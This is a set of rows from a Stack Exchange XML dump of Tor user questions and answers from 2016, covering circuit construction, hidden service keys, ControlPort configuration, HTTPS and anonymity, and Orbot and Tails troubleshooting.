  <row Id="9836" PostTypeId="2" ParentId="7446" CreationDate="2016-03-10T21:52:04.877" Score="1" Body="&lt;p&gt;As already commented, there are only three relays a normal circuit goes through. The exit relay obviously knows it is the exit - because it is asked to make a connection to the outside world. For middle and entry nodes, it is not as clear-cut, but still pretty easy to figure out in most cases: If the connection comes from a known Tor relay IP address, most likely the relay is being used as a middle node, otherwise as an entry node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I think one thing you're not clear on, and that also hasn't been commented on before: The &quot;layers&quot; of encryption do not actually make the data that gets sent through the network any longer, instead the data just gets changed. Imagine you had a simple scheme where each relay just changed each text character to be the next one in the alphabet. If the original text is then &quot;hello my friend&quot;, the first encryption step would be &quot;idmmp nz gsjdoe&quot; - one &quot;layer&quot; was added, but the length didn't change.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2016-03-10T21:52:04.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9837" PostTypeId="2" ParentId="7334" CreationDate="2016-03-10T21:56:57.540" Score="3" Body="&lt;p&gt;Tor does not use the same exit node for everything. The Tor Browser actually uses a security feature that makes sure it does not share the same circuits with any other program that uses the Tor client.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2016-03-10T21:56:57.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9838" PostTypeId="2" ParentId="6457" CreationDate="2016-03-10T21:59:17.357" Score="3" Body="&lt;p&gt;There are many more issues with Flash. It can create persistent &quot;cookies&quot; that Tor Browser has no control over, for example. This is why just adding a firewall would &lt;em&gt;not&lt;/em&gt; make inclusion of Flash safe.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2016-03-10T21:59:17.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9839" PostTypeId="2" ParentId="9159" CreationDate="2016-03-10T22:09:15.863" Score="2" Body="&lt;p&gt;There's a misunderstanding here. CREATE cells are sent just from immediate neighbours in a circuit, during circuit construction. So a client will send a CREATE cell to the entry node, where the collision prevention protocol will work. Then the client sends an EXTEND cell, which instructs the entry node to send a (fresh) CREATE cell to the destined middle node. The same happens again when extending the circuit to the exit node. The CircID is not actually the same across the entire circuit, rather it is used to uniquely identify a circuit on a given connection between two tor nodes.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2016-03-10T22:09:15.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9840" PostTypeId="2" ParentId="9805" CreationDate="2016-03-10T22:17:33.600" Score="1" Body="&lt;p&gt;You have to construct the entire circuit yourself, you cannot just choose the middle node alone unfortunately. To do this, you need to use the &lt;code&gt;extend_circuit&lt;/code&gt; command in Stem's controller API.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastEditorUserId="14928" LastEditDate="2017-03-14T20:49:42.220" LastActivityDate="2017-03-14T20:49:42.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9841" PostTypeId="2" ParentId="7310" CreationDate="2016-03-10T22:23:28.363" Score="3" Body="&lt;p&gt;This is not what is actually happening. When a Tor client first starts, it does connect to the central Tor servers (Directory Authorities, they're called), but it gets the list of all Tor relays including their keys, not just a few of them. This list is signed by a majority of the Directory Authorities, so any attacker has to compromise (via technical or legal means) a majority of them to target your client. The DAs are placed in different jurisdictions to make the legal attack less likely, and the operators try to take good care of them to ensure technical integrity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, there is no stronger mechanism in place.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2016-03-10T22:23:28.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9842" PostTypeId="2" ParentId="8906" CreationDate="2016-03-10T22:56:30.697" Score="1" Body="&lt;p&gt;This seems to be a changed configuration that the bridge operator would have done. It's unfortunate you had to deal with it, but there's a bug report about it (see &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/17473&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/ticket/17473&lt;/a&gt;) and in your case no harm was done. Generally speaking, just updating whatever fingerprint you see is not a good idea, because it could mean that someone is impersonating your bridge and thus actively attacking you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Newer versions of Tor Browser will have that change applied automatically.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2016-03-10T22:56:30.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9843" PostTypeId="1" CreationDate="2016-03-10T23:20:06.923" Score="1" ViewCount="90" Body="&lt;p&gt;I installed Tor on my Linux CentOS and edited torrc configuration file, setting the hidden service directory (HiddenServiceDir).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some time it happen that i changed this directory in Tor configuration file torrc and restarted Tor. It appears that my hidden service has new .onion address and old one do not show my webpage. So my question is, please how i can have my previous onion address again?&lt;/p&gt;&#xA;" OwnerUserId="10728" LastActivityDate="2016-03-10T23:58:45.430" Title="How to have assigned previous onion address for my hidden service?" Tags="|onion-routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9844" PostTypeId="2" ParentId="9843" CreationDate="2016-03-10T23:58:45.430" Score="3" Body="&lt;p&gt;Basing on &lt;a href=&quot;https://www.torproject.org/docs/tor-hidden-service.html.en&quot; rel=&quot;nofollow&quot;&gt;official docs&lt;/a&gt; you should copy-paste content of old HiddenServiceDir to your new HiddenServiceDir location (you should overwrite new ones). There are only two files: &lt;code&gt;hostname&lt;/code&gt; and  &lt;code&gt;private_key&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably you'll need root privillages to do it.&lt;/p&gt;&#xA;" OwnerUserId="11887" LastActivityDate="2016-03-10T23:58:45.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9845" PostTypeId="2" ParentId="8906" CreationDate="2016-03-11T00:36:29.937" Score="0" Body="&lt;p&gt;Same or something like this behaviour I've seen when I helped people from China to get through a censorship filter. Same logs I can periodically see here in Russia. It's a high probability of an active attacker or an ISP-wide filtership/censorship&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-03-11T00:36:29.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9846" PostTypeId="1" CreationDate="2016-03-11T03:36:59.383" Score="0" ViewCount="1138" Body="&lt;p&gt;Got a new hard drive. I have attempted to download Tor on 3 different browsers including Firefox. I constantly get the &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You can't open the application TorBrowser.app because it is not supported on this type of Mac. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Why would it do this? How can i clear this? I can't figure it out. Anyone have any help to offer? &lt;/p&gt;&#xA;" OwnerUserId="12100" LastEditorUserId="88" LastEditDate="2016-03-11T11:17:00.860" LastActivityDate="2016-08-20T23:32:06.673" Title="Not Supported by this type of mac" Tags="|tor-browser-bundle|support|mac|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9848" PostTypeId="2" ParentId="9740" CreationDate="2016-03-12T03:14:05.937" Score="2" Body="&lt;p&gt;[waves] Facebook-over-Tor-geek here. It's a toughie, the cleanest thing is to use the same SSL certificate in your clearnet and onion sites, but this only will work if you can use EV certificates on both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Facebook currently (March 2016) uses DV certificates for our main site - mostly because EV certificates don't currently support wildcards for clearnet address, only for onion addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the situation changes so that either &quot;.onion&quot; becomes okay for DV certs, or else EV becomes a suitable option for the main site, then maybe there will be a clearnet site which mentions the onion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However: if you have an EV clearnet certificate for your main site, then I imagine you'd be able to add your onion address to it...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&lt;br/&gt;&#xA;Alec Muffett&lt;br/&gt;&#xA;Facebook Engineering&lt;br/&gt;&#xA;London&lt;/p&gt;&#xA;" OwnerUserId="10551" LastActivityDate="2016-03-12T03:14:05.937" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9849" PostTypeId="1" CreationDate="2016-03-12T07:33:55.910" Score="0" ViewCount="1315" Body="&lt;p&gt;Having troubles with the location with the Tor browser;it shows my ''location''saying that i am not protected or secured in the main site of Nord VPN which is the VPN i use,while if i change my browser to Internet Explorer I am secured.&#xA;Would like to know if this is a leak or a conflict between Tor and the VPN or if this is normal ???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.s : don't wanna leave the Tor browser,please help !!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uUtxU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uUtxU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/r0ydy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/r0ydy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user12109" LastEditorDisplayName="user12109" LastEditDate="2016-03-12T07:42:22.007" LastActivityDate="2016-08-05T03:47:06.423" Title="Having ''unprotected'' issues while using Tor over VPN" Tags="|settings|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9850" PostTypeId="1" CreationDate="2016-03-12T19:17:12.760" Score="1" ViewCount="54" Body="&lt;p&gt;3/12/2016 2:17:31 AM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/12/2016 2:17:47 AM.900 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;3/12/2016 2:17:55 AM.300 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;3/12/2016 2:17:55 AM.300 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;3/12/2016 2:17:57 AM.900 [WARN] Proxy Client: unable to connect to 104.131.108.182:56880 (&quot;general SOCKS server failure&quot;) &#xA;3/12/2016 2:18:37 AM.500 [WARN] Proxy Client: unable to connect to 154.35.22.11:49868 (&quot;general SOCKS server failure&quot;) &#xA;3/12/2016 2:18:38 AM.300 [WARN] Proxy Client: unable to connect to 83.212.101.3:41213 (&quot;general SOCKS server failure&quot;) &#xA;3/12/2016 2:18:50 AM.300 [WARN] Proxy Client: unable to connect to 109.105.109.147:13764 (&quot;general SOCKS server failure&quot;) &#xA;3/12/2016 2:18:54 AM.500 [WARN] Proxy Client: unable to connect to 154.35.22.13:443 (&quot;general SOCKS server failure&quot;) &#xA;3/12/2016 2:18:56 AM.400 [WARN] Proxy Client: unable to connect to 198.245.60.50:443 (&quot;general SOCKS server failure&quot;) &#xA;3/12/2016 2:18:56 AM.400 [WARN] Proxy Client: unable to connect to 154.35.22.12:80 (&quot;general SOCKS server failure&quot;) &#xA;3/12/2016 2:18:56 AM.400 [WARN] Proxy Client: unable to connect to 192.99.11.54:443 (&quot;general SOCKS server failure&quot;) &#xA;3/12/2016 2:18:56 AM.400 [WARN] Proxy Client: unable to connect to 109.105.109.165:10527 (&quot;general SOCKS server failure&quot;) &#xA;3/12/2016 2:18:56 AM.400 [WARN] Proxy Client: unable to connect to 154.35.22.10:41835 (&quot;general SOCKS server failure&quot;) &#xA;3/12/2016 2:24:47 AM.500 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;3/12/2016 2:24:47 AM.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/12/2016 2:24:47 AM.500 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &lt;/p&gt;&#xA;" OwnerUserId="12112" LastEditorUserId="12112" LastEditDate="2016-03-13T15:56:01.737" LastActivityDate="2016-03-13T15:56:01.737" Title="Help, tor wont load. &quot;general SOCKS server failure&quot;" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="1" ClosedDate="2016-03-13T09:24:15.570" ContentLicense="CC BY-SA 3.0" />
  <row Id="9851" PostTypeId="2" ParentId="9846" CreationDate="2016-03-13T01:16:27.897" Score="-1" Body="&lt;p&gt;Compile OpenSSL, libevent and other with Tor itself by hand, then use Firefox+foxyproxy... In your case it will be the solution. I can help you via SSH if you wish and we will publish a solution here : I don't have such a hardware+software to make a copy-and-paste shellscript for you&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-03-13T01:16:27.897" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9853" PostTypeId="1" AcceptedAnswerId="10618" CreationDate="2016-03-14T14:06:37.113" Score="4" ViewCount="4368" Body="&lt;p&gt;When I send the NEWNYM command tor will build new circuits. I'm wondering what happens with open TCP connections. Will tor wait a certain timeout to give them a chance to close, or do I break those connections?&lt;/p&gt;&#xA;" OwnerUserId="12127" LastEditorUserId="88" LastEditDate="2016-03-14T16:08:36.107" LastActivityDate="2016-08-15T18:47:17.043" Title="What happens with TCP connections on SIGNAL NEWNYM?" Tags="|circuit|protocol|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9857" PostTypeId="1" AcceptedAnswerId="9863" CreationDate="2016-03-16T19:48:35.423" Score="2" ViewCount="5642" Body="&lt;p&gt;I have a problem with tor (this version and also 0.2.7.*). After compilation, with and without installation afterwards, I can'treach port 9050. I would like to see with arm what's going on but it doesn`t work. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blabla@Raspb:~$ sudo -u debian-tor arm&#xA;Connection refused. Is the ControlPort enabled?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I do this it won`t work either.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blabla@Raspb:~$ sudo -u debian-tor arm -i 127.0.0.1:9050&#xA;Traceback (most recent call last):&#xA;  File &quot;/usr/lib/python2.7/dist-packages/TorCtl/TorCtl.py&quot;, line 645, in _loop&#xA;    isEvent, reply = self._read_reply()&#xA;  File &quot;/usr/lib/python2.7/dist-packages/TorCtl/TorCtl.py&quot;, line 820, in _read_reply&#xA;    raise ProtocolError(&quot;Badly formatted reply line: unknown type %r&quot;%tp)&#xA;ProtocolError: Badly formatted reply line: unknown type 'P'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But tor binds the port&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blabla@Raspb:~$ sudo netstat -tulpan | grep &quot;9050&quot;&#xA;[sudo] password for torpi: &#xA;tcp        0      0 127.0.0.1:9050          0.0.0.0:*               LISTEN      17247/tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I`ve search many things but still got no solution. &#xA;My torrc works fine. &#xA;I have to say on the beginning tor can't bind port 80 and 443. After I did this it worked.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo setcap CAP_NET_BIND_SERVICE=+eip /usr/local/bin/tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is their relation compared to port 9050?&#xA;When I install tor from the repositories all worked fine.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 9050 # Default: Bind to localhost:9050 for local connections.&#xA;Log notice file /var/log/tor/notices.log&#xA;Log debug file /var/log/tor/debug.log&#xA;RunAsDaemon 1&#xA;ORPort 443&#xA;Nickname ZeiberSchnitzel&#xA;RelayBandwidthRate 1000 KB  # Throttle traffic to 100KB/s (800Kbps)&#xA;RelayBandwidthBurst 1600 KB # But allow bursts up to 200KB/s (1600Kbps)&#xA;ContactInfo ZeiberSchnitzel &amp;lt;maillinglist@pboenig.de&amp;gt;&#xA;DirPort 80 # what port to advertise for directory connections&#xA;ExitPolicy reject *:* # no exits allowed&#xA;DisableDebuggerAttachment 0&#xA;AvoidDiskWrites 1&#xA;NumCPUs 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12145" LastEditorUserId="88" LastEditDate="2016-03-17T13:17:43.850" LastActivityDate="2019-06-18T17:02:36.203" Title="Can't reach port 9050" Tags="|linux|raspberry-pi|torsocks|troubleshooting|raspbian|" AnswerCount="1" CommentCount="17" ContentLicense="CC BY-SA 3.0" />
  <row Id="9860" PostTypeId="1" CreationDate="2016-03-17T06:32:44.947" Score="2" ViewCount="241" Body="&lt;p&gt;The TOR  manual says that the sites I visit should display the blue/green HTTPS insignia. The sites I visit do not. Instead when I hover the mouse over the icon at the beginning in the URL bar, it says: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This Website does not supply identity information.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't know what that means.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is my anonymity at risk by not using HTTPS?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I visit websites merely to view their content. I am not sending any passwords, any email addresses. I am not downloading/uploading anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am just a passive observer and use the Tor Browser Bundle.&lt;/p&gt;&#xA;" OwnerUserId="12147" LastEditorUserId="12013" LastEditDate="2016-03-18T07:53:33.660" LastActivityDate="2016-03-18T14:37:45.617" Title="Does using HTTP break my anonymity?" Tags="|anonymity|https|surveillance|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9861" PostTypeId="2" ParentId="9860" CreationDate="2016-03-17T09:13:28.643" Score="3" Body="&lt;h2&gt;Is my anonymity at risk by not using HTTPS?&lt;/h2&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Yes;&lt;/strong&gt; and any information you are sending should be considered compromised.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/HTTPS&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;HTTPS on Wikipedia&quot;&gt;HTTPS (&lt;em&gt;HTTP over TLS/SSL,&lt;/em&gt; or &lt;em&gt;HTTP Secure&lt;/em&gt;)&lt;/a&gt; encrypts the data traveling between your computer and the webserver.&lt;/p&gt;&#xA;&lt;p&gt;Even if you consider your communication being secure between your computer and the exit node, your data will be sent in the clear between the exit node and the webserver. Therefore, anyone monitoring the exit node you are using will see your data. If you want to know more about this, you can read &lt;a href=&quot;http://archive.wired.com/politics/security/news/2007/09/embassy_hacks?currentPage=all&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;Rogue Nodes Turn Tor Anonymizer Into Eavesdropper's Paradise. Kim Zetter, 2007&quot;&gt;Kim Zetter's article &lt;em&gt;Rogue Nodes Turn Tor Anonymizer Into Eavesdropper's Paradise&lt;/em&gt;, 2007.&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This does not &lt;em&gt;directly&lt;/em&gt; break your anonymity; however, any information you are sending through HTTP might expose you. (Usernames, addresses, passwords, email addresses, etc.)&lt;/p&gt;&#xA;&lt;p&gt;Indeed, Tor website mentions that you should &lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;Tor tips&quot;&gt;use the HTTPS versions of websites:&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;d. Use HTTPS versions of websites&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Tor will encrypt your traffic to and within the Tor network, but the&#xA;encryption of your traffic to the final destination website depends&#xA;upon on that website. To help ensure private encryption to websites,&#xA;the Tor Browser includes HTTPS Everywhere to force the use of HTTPS&#xA;encryption with major websites that support it. However, you should&#xA;still watch the browser URL bar to ensure that websites you provide&#xA;sensitive information to display a blue or green URL bar button,&#xA;include &lt;strong&gt;https://&lt;/strong&gt; in the URL, and display the proper expected name for&#xA;the website. Also see EFF's interactive page explaining how Tor and&#xA;HTTPS relate.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;However, it clearly states at the beginning that Tor won't protect you between the exit node and the webserver:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;the encryption of your traffic to the final destination website&#xA;depends upon on that website.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h2&gt;But, I am not sending any passwords or email addresses! I am not downloading/uploading anything! I am just looking at the content!&lt;/h2&gt;&#xA;&lt;p&gt;&lt;em&gt;It doesn't matter.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;First, I remind you that between the exit node and the webserver, the communication is &lt;em&gt;not&lt;/em&gt; encrypted.&lt;/p&gt;&#xA;&lt;p&gt;HTTPS uses &lt;a href=&quot;https://en.wikipedia.org/wiki/Public_key_certificate&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;Digital Certificate on Wikipedia&quot;&gt;Digital Certificate&lt;/a&gt;. This does not only provides encryption between you and the webserver; it also proves that the webserver has not been impersonated. You can see it as the ID you may have in your wallet: someone looking at it, then at you, should be able to confirm your identity. This is &lt;em&gt;very&lt;/em&gt; important in terms of security. The messsage &lt;em&gt;&amp;quot;This website does not supply identity information&amp;quot;&lt;/em&gt; means that the website did not provide any certificate. You have to trust that nothing wrong is happening.&lt;/p&gt;&#xA;&lt;p&gt;It is not only about the data you send; it is also about the data you receive. Someone impersonating the webserver can show you anything he wants. He can put some malicious content inside the source code of the pages to reveal your identity. &lt;a href=&quot;http://arstechnica.com/security/2013/08/attackers-wield-firefox-exploit-to-uncloak-anonymous-tor-users/&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;Attackers wield Firefox exploit to uncloak anonymous Tor users on Ars Technica&quot;&gt;It has been done by the FBI when they seized Freedom Hosting.&lt;/a&gt; I admit that this example might not be the best one: Freedom Hosting was probably using HTTPS and not HTTP; but, as the FBI was able to seize the servers, they had total control over the data that were sent to the users. The point is: &lt;strong&gt;if you can control the data you send to the users, you can deanonymize them.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;HTTPS makes it &lt;em&gt;really&lt;/em&gt; hard.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: &lt;a href=&quot;https://www.eff.org/pages/tor-and-https&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;Tor and HTTPS on EFF.org&quot;&gt;EFF.org has an interactive visualization of Tor and HTTPS.&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="12013" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-03-18T14:37:45.617" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9863" PostTypeId="2" ParentId="9857" CreationDate="2016-03-17T16:15:21.400" Score="0" Body="&lt;p&gt;Success! It's running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@Alexey Vesnin you made my day!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last post from you was the right guess.&#xA;I edited my &lt;code&gt;torrc&lt;/code&gt; like you said:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;uncomment &lt;code&gt;ControlPort 9051&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;uncomment &lt;code&gt;CookieAuthentication 1&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I generated the password with &lt;code&gt;tor --hash-password [YOUR PASSWORD]&lt;/code&gt; and copied it  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;uncomment &lt;code&gt;HashedControlPassword [YOUR copied PASSWORD]&lt;/code&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After all arm runs with &lt;code&gt;sudo -u debian-tor arm -i 127.0.0.1:9051&lt;/code&gt; perfectly. (On first start it takes 1 minute or so until the password prompt is shown).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.: But why I have to point on Port 9051 not 9050?&lt;/p&gt;&#xA;" OwnerUserId="12145" LastActivityDate="2016-03-17T16:15:21.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9866" PostTypeId="1" CreationDate="2016-03-18T08:29:20.097" Score="2" ViewCount="7318" Body="&lt;p&gt;I am looking at getting t.a.i.l.s mobile o.s. in the near future and need to know the best smartphone to run tails is? I cannot find any answers online. Any advice would be appreciated. Money is not an issue please dont not put something because its to expensive.&lt;/p&gt;&#xA;" OwnerUserId="12154" LastActivityDate="2016-03-20T13:51:07.127" Title="T.A.I.L.S mobile OS" Tags="|tails|mobile|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9867" PostTypeId="2" ParentId="9866" CreationDate="2016-03-18T08:43:09.207" Score="5" Body="&lt;p&gt;There is no Tails for mobile phones. There are people looking into &lt;a href=&quot;https://tails.boum.org/blueprint/ARM_platforms/&quot; rel=&quot;nofollow&quot;&gt;porting Tails to the arm platform&lt;/a&gt;, but these efforts are still in a pretty early phase.&lt;/p&gt;&#xA;" OwnerDisplayName="user6590" LastActivityDate="2016-03-18T08:43:09.207" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9868" PostTypeId="1" CreationDate="2016-03-18T09:35:52.853" Score="1" ViewCount="3554" Body="&lt;p&gt;How do i avoid this problem; while orfox and orbot i get stuck in so many captchas and cant complete them properly? Any suggestion would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="12154" LastActivityDate="2016-03-22T01:01:12.297" Title="So many unfillable captchas?" Tags="|orbot|android|captcha|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9869" PostTypeId="1" CreationDate="2016-03-18T13:19:44.243" Score="2" ViewCount="202" Body="&lt;p&gt;Since Orfox is based on a pretty outdated Firefox version by now, I'm a bit worried about its security. Is Orfox still being updated / can we expect it to be patched in the near future? &lt;/p&gt;&#xA;" OwnerUserId="11994" LastActivityDate="2019-03-22T18:01:28.700" Title="Will Orfox be updated?" Tags="|orbot|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9870" PostTypeId="2" ParentId="9868" CreationDate="2016-03-18T14:15:59.957" Score="1" Body="&lt;p&gt;it seems that some sites like Cloudfare and Google are mass-accessed through your exit point. Use &quot;SIGNAL NEWNYM&quot; command to forcibly change your exit and try again.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-03-18T14:15:59.957" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9871" PostTypeId="1" CreationDate="2016-03-18T15:20:51.000" Score="1" ViewCount="462" Body="&lt;p&gt;i have a tor application called orbot and it does not function well in our college..how do i configure orbot so i can access tor serviceses in our college networks??&#xA;My college has a server based on isa server..it has a proxy@172.20.0.2 and port@8080....&#xA;so can anyone tell me specifically how to configure orbot..oh and my college blocks most websites including facebook,twiiter,and watsapp and anything like that...sorry for the bad english...so please help &#xA;This is the log &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Orbot is starting…&#xA;Orbot is starting…&#xA;updating settings in Tor service&#xA;updating torrc custom configuration...&#xA;success.&#xA;Orbot is starting…&#xA;Tor (1): Mar 18 20:48:26.600 [notice] Tor v0.2.7.6 running on Linux with Libevent 2.0.22-stable, OpenSSL 1.0.1q and Zlib 1.2.8.&#xA;Mar 18 20:48:26.601 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Mar 18 20:48:26.601 [notice] Read configuration file &quot;/data/data/org.torproject.android/app_bin/torrc&quot;.&#xA;Mar 18 20:48:26.601 [notice] Read configuration file &quot;/data/data/org.torproject.android/app_bin/torrc.custom&quot;.&#xA;Mar 18 20:48:26.624 [notice] Opening Socks listener on 127.0.0.1:0&#xA;Mar 18 20:48:26.625 [notice] Socks listener listening on port 33324.&#xA;Mar 18 20:48:26.625 [notice] Opening DNS listener on 127.0.0.1:5400&#xA;Mar 18 20:48:26.626 [notice] Opening Transparent pf/netfilter listener on 127.0.0.1:9040&#xA;Mar 18 20:48:26.626 [warn] Could not bind to 127.0.0.1:9040: Address already in use. Is Tor already running?&#xA;Mar 18 20:48:26.626 [notice] Opening Control listener on 127.0.0.1:0&#xA;Mar 18 20:48:26.626 [notice] Control listener listening on port 60999.&#xA;Mar 18 20:48:26.626 [notice] Closing partially-constructed Socks listener on 127.0.0.1:33324&#xA;Mar 18 20:48:26.627 [notice] Closing partially-constructed DNS listener on 127.0.0.1:5400&#xA;Mar 18 20:48:26.627 [notice] Closing partially-constructed Control listener on 127.0.0.1:60999&#xA;Mar 18 20:48:26.627 [warn] Failed to parse/validate config: Failed to bind one of the listener ports.&#xA;Mar 18 20:48:26.627 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12155" LastEditorUserId="9291" LastEditDate="2016-03-20T23:05:44.080" LastActivityDate="2016-03-20T23:05:44.080" Title="How can i use orbot in my college??its not working" Tags="|orbot|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
